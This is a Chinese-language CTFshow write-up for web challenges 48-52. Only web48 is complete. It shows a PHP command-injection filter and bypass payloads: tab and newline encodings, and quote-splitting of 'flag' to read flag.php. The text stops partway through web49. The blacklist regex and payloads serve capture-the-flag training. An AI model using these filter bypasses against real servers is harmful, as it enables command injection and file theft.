CTFshow web48 49 50 51 52

目录

web48

代码分析：

payload：

flag:

web49

代码分析：

payload:

flag:

web50

payload：

flag：

web51 

代码分析：

payload：

 flag：

web52

代码分析：

payload:

flag:

---

web48

代码分析：

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }

emm，这里过滤了很多用不上的东西，直接%09绕过空格，引号绕过flag%0a绕过后面的重定向就可以

知识点：%09和%0a不算数字所以过滤[0-9]没有影响的

payload：

?c=tac%09fl""ag.php||

?c=tac%09fl""ag.php%0a

flag:

ctfshow{d4152ec2-7b1b-48f4-9822-706bea5ddef6} 

web49

代码分析：

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|c